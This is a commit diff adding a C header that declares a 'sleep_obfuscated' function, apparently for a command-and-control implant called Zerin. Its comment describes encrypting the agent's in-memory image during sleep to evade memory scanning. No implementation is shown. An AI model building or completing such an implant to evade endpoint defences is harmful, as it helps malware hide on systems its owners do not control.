initial commit

include/sleep_obf.h

@@ -0,0 +1,14 @@
+#ifndef ZERIN_SLEEP_OBF_H
+#define ZERIN_SLEEP_OBF_H
+
+#include <stdint.h>
+
+// Obfuscated sleep: encrypts the agent's image in memory during the
+// sleep interval using XOR with the provided key, then decrypts on wake.
+// Falls back to a plain Sleep() if setup fails.
+//
+// ms  — sleep duration in milliseconds
+// key — 32-byte encryption key (typically the session key)
+int sleep_obfuscated(uint32_t ms, const uint8_t *key);
+
+#endif // ZERIN_SLEEP_OBF_H